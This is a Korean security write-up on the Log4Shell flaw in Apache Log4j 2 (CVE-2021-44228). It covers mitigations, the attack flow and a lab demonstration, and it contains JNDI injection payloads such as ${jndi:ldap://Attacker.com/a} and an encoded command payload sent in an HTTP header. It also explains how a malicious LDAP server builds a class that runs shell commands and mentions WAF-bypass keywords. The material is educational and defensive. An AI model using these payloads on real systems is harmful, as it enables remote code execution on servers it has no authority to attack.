Log4Shell log4j 버전2에서 발견된 RCE 0day 취약점 (CVE-2021-44228)_21116

※ 해당 기법은 사전에 구축된 테스트 환경에서 공격 기법 연구를 위한 목적으로만 사용하시기 바랍니다.

1. 취약점 개요

1-1. 취약점 정보

log4j 1.2버전에서도 취약점이 발견되었습니다. (CVE-2021-4104)

log4j 1.x버전의 경우, 지원 중지로 인해 다른 보안위협에 노출될 가능성이 높기 때문에 최신버전 업데이트를 적용하도록 권고하고 있으며, 본 문서에서는 log4j v2에 대해서 다루고 log4j v1과 관련된 내용은 향후 업데이트할 예정입니다.

CVECVE-2021-44228
영향받는 소프트웨어Apache Log4j
영향받는 소프트웨어 버전2.0-beta9 ~ 2.14.1
취약점RCE

(2021.12.15 추가)

CVECVE-2021-45046
영향받는 소프트웨어Apache Log4j
영향받는 소프트웨어 버전2.0-beta9 ~ 2.12.1 및 2.13.0 ~ 2.15.0
취약점DoS

1-2. 대응 방안

  • 2.0-beta9 ~ 2.10.0

    • JndiLookup 클래스를 경로에서 제거 : zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
  • 2.10 ~ 2.14.1

    • log4j2.formatMsgNoLookups 또는 LOG4J_FORMAT_MSG_NO_LOOKUPS 환경변수를 true로 설정
  • 최신버전(2.15.0)으로 업데이트 적용 권고

    • 2021년 12월 14일을 기준으로 Apache log4j 2.15.0 버전이 일부 앱에서 잠재적인 취약점이 존재하는 것으로 확인됨 (CVE-2021-45046)
  • 최신버전(2.16.0)으로 업데이트 적용 권고

1-3. Log4Shell이란?

CVE-2021-44228 (일명 log4shell)은 Java 기반 로깅 도구인 Apache Log4j 라이브러리의 원격 코드 실행 취약점입니다. 이 취약점은 공격자가 로그 메시지를 제어할 수 있는 서버에서 로드된 임의의 코드를 실행할 수 있으며 Log4j 라이브러리를 사용하는 대부분의 앱이 취약한 것으로 밝혀졌습니다.

예시코드는 log4j를 사용하여 X-API-Version 헤더값을 읽어 로깅하고있습니다.

공격자는 다음과 같이 악성 Class 파일이 있는 LDAP 서버를 가동합니다.

피해자 측의 어플리케이션이 log4j를 통해 로깅중인 부분에 ${jndi:ldap://attacker} 구문을 삽입하여 공격자의 LDAP 서버에서 악성 Class 파일을 다운로드하도록 합니다.

JNDI (Java Naming and Directory Interface) 이란?

java로 작성된 어플리케이션을 DNS, LDAP, RMI, NDS 등과 같은 Naming/Directory 서비스에 연결하기 위한 API입니다.

LDAP(Lightweight Directory Access Protocol) 이란?

TCP/IP 위에서 디렉터리 서비스를 조회하고 수정하는 응용 프로토콜입니다. (출처: 위키백과)

따라서 log4shell 취약점은 log4j를 통해 어떤 로그를 남기고자 했는지에 따라 공격자의 페이로드가 달라지게 됩니다.

다음은 확인해야 하는 Header를 정리한 내용입니다. (출처: https://musana.net/2021/12/13/log4shell-Quick-Guide/)

따라서 log4shell을 정리하자면 다음과 같습니다.

그림1. log4shell 공격 흐름

  1. Attacker는 Victim 서버에 JNDI 페이로드를 전달합니다. (예: ${jndi:ldap://Attacker.com/a})
  2. 로깅을 위해 Victim 서버의 log4j로 페이로드가 전달됩니다.
  3. log4j는 전달된 페이로드를 삽입하고 Attacker LDAP Server를 쿼리합니다.
  4. Attacker LDAP Server는 악성 자바 클래스가 포함된 디렉토리 정보로 응답합니다.
  5. Victim 서버는 악성 Java 클래스를 역직렬화하거나 다운로드하여 실행합니다.

2. Log4Shell 시연

※ 해당 기법은 사전에 구축된 테스트 환경에서 공격 기법 연구를 위한 목적으로만 사용하시기 바랍니다.

2.1 TEST LAB 환경

먼저 TEST LAB 환경은 다음과 같습니다. (참고로, Victim은 Docker로 구성하였습니다.)

대상OSNetwork
AttackerUbuntu 20.04.1 LTS192.168.0.129
Attacker LDAP ServerUbuntu 20.04.1 LTS192.168.0.129
Attacker HTTP ServerUbuntu 20.04.1 LTS192.168.0.129
VictimDocker Alpine Linux 3.8.2172.17.0.2

사용된 소프트웨어 버전은 다음과 같습니다.

소프트웨어 명버전
Docker20.10.7 (build: 20.10.7-0ubuntu5~20.04.2)
log4j2.6.1

2.2 취약한 어플리케이션

자바 어플리케이션은 log4j를 활용하여 다음과 같이 로그를 로깅합니다. 자세히 보면, API Version에 대한 로깅을 위해 log4j를 사용했음을 알 수 있습니다.

2.3 Exploit

취약한 log4j 버전으로 구성되어 있는 웹 사이트를 대상으로 CVE-2021-44228를 로컬에서 재현하고자 합니다.

log4shell 시연은 다음과 같은 순서로 진행됩니다.

  1. 취약한 버전의 log4j가 포함된 웹 어플리케이션 실행

  2. 전달된 명령을 /bin/sh -c 로 실행할 수 있도록 수정된 Class 파일을 다운로드하도록 하는 악성 LDAP 서버 실행

  3. 피해자 측의 어플리케이션이 log4j를 통해 로깅중인 부분에 ${jndi:ldap://attacker} 구문(예시)을 삽입

  4. 원격 명령 실행

1) 취약한 웹 서버 실행

아래 명령으로 docker 환경으로 실행합니다.

2) 악성 LDAP 서버 실행

공격자는 다음과 같이 악성 LDAP 서버를 가동합니다. 악성 LDAP 서버에 대한 자세한 설명은 아래 "(별첨) 악성 LDAP 서버 소스코드 분석"을 참고해주세요.

3) 악성 페이로드 전달

X-Api-Version 헤더 값으로 "${jndi:ldap://192.168.0.129:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZA==}"가 전달됩니다.

이때, touch /tmp/pwned라는명령이 실행되어 /tmp경로에 pwned 폴더를 생성됩니다.

참고로 "dG91Y2ggL3RtcC9wd25lZA=="는 touch /tmp/pwned이 base64로 인코딩된 문자열입니다.

그림2. base64 인코딩 결과

4) 명령 실행

다음과 같이 악성 LDAP 서버가 작동하는 터미널을 보면, 익스플로잇 코드를 통해 명령을 실행하는 Java 클래스를 만들어 악성 명령을 실행합니다.

5) 명령 실행 결과

익스플로잇에 성공하면 취약한 서버 내 /tmp 디렉터리에 pwned라는 파일이 생성됨을 알 수 있습니다.

3. WAF Bypass

다음은 WAF를 우회하기 위한 키워드입니다.

(출처: https://musana.net/2021/12/13/log4shell-Quick-Guide/)

4. 현재 공개되어 있는 IoC

현재 공개되고 있는 IoC는 무수히 많으며 지속적으로 업데이트되고 있습니다!

4-1. HTTP Headers

4-2. Data Exfiltration

4-3. Hashes

4-4. 봇넷

1) Mirai

2) Muhstik

(별첨) 악성 LDAP 서버 소스코드 분석

다음과 같이 익스플로잇 URI를 보게 되면 /basic 경로 다음에 command 라는 경로가 있습니다.

Payloadtype은 다음과 같으며, 그 중에서 type이 command인 경우를 보도록 하겠습니다.

그림3. 악성 LDAP 서버 소스코드 분석(1)

악성 LDAP 서버의 "BasicController.class" 소스코드를 보면 commandTemplate에서 getClassName()메서드를 실행하여 className 변수에 저장하고 있는 것을 알 수 있습니다.

그림4. 악성 LDAP 서버 소스코드 분석(2)

CommandTemplate에서는 Exploit이라는 키워드 뒤에 랜덤문자열을 합쳐 generate()라는 메서드를 실행합니다.

그림5. 악성 LDAP 서버 소스코드 분석(3)

generate() 메서드에서는 BCI(Byte Code Injection)라고 하는 기술을 사용하여 /bin/sh -c {명령}을 실행해주는 Class를 생성합니다.

BCI(Byte Code Injection) 원본을 수정하지 않으면서 코드를 수정할 수 있도록 유연한 코딩 기술입니다. 특히 오픈소스가 아니더라도 원하는 코드를 class에 삽입할 수 있다는 장점이 존재합니다. 이 기술을 사용하는 대표적인 예로 Spring의 AOP가 있습니다.

그림6. 악성 LDAP 서버 소스코드 분석(4)

getCmdFromBase() 메서드는 넘어온 URI의 맨 뒤에서 "/"가 있는 위치의 +1 영역인 base64로 작성된 부분이 cmd 변수에 저장됩니다. 이 cmd 변수는 base64Decode 함수에 의해 디코딩되어 cmd 변수에 다시 저장됩니다.

그림7. 악성 LDAP 서버 소스코드 분석(5)

결국, /bin/sh -c {명령}을 실행해주는 Class의 명령 부분에 getCmdFromBase()에서 리턴되는 cmd 값이 삽입되어 악성 class를 다운로드 받은 피해자 서버에서 명령이 실행되게 됩니다.

References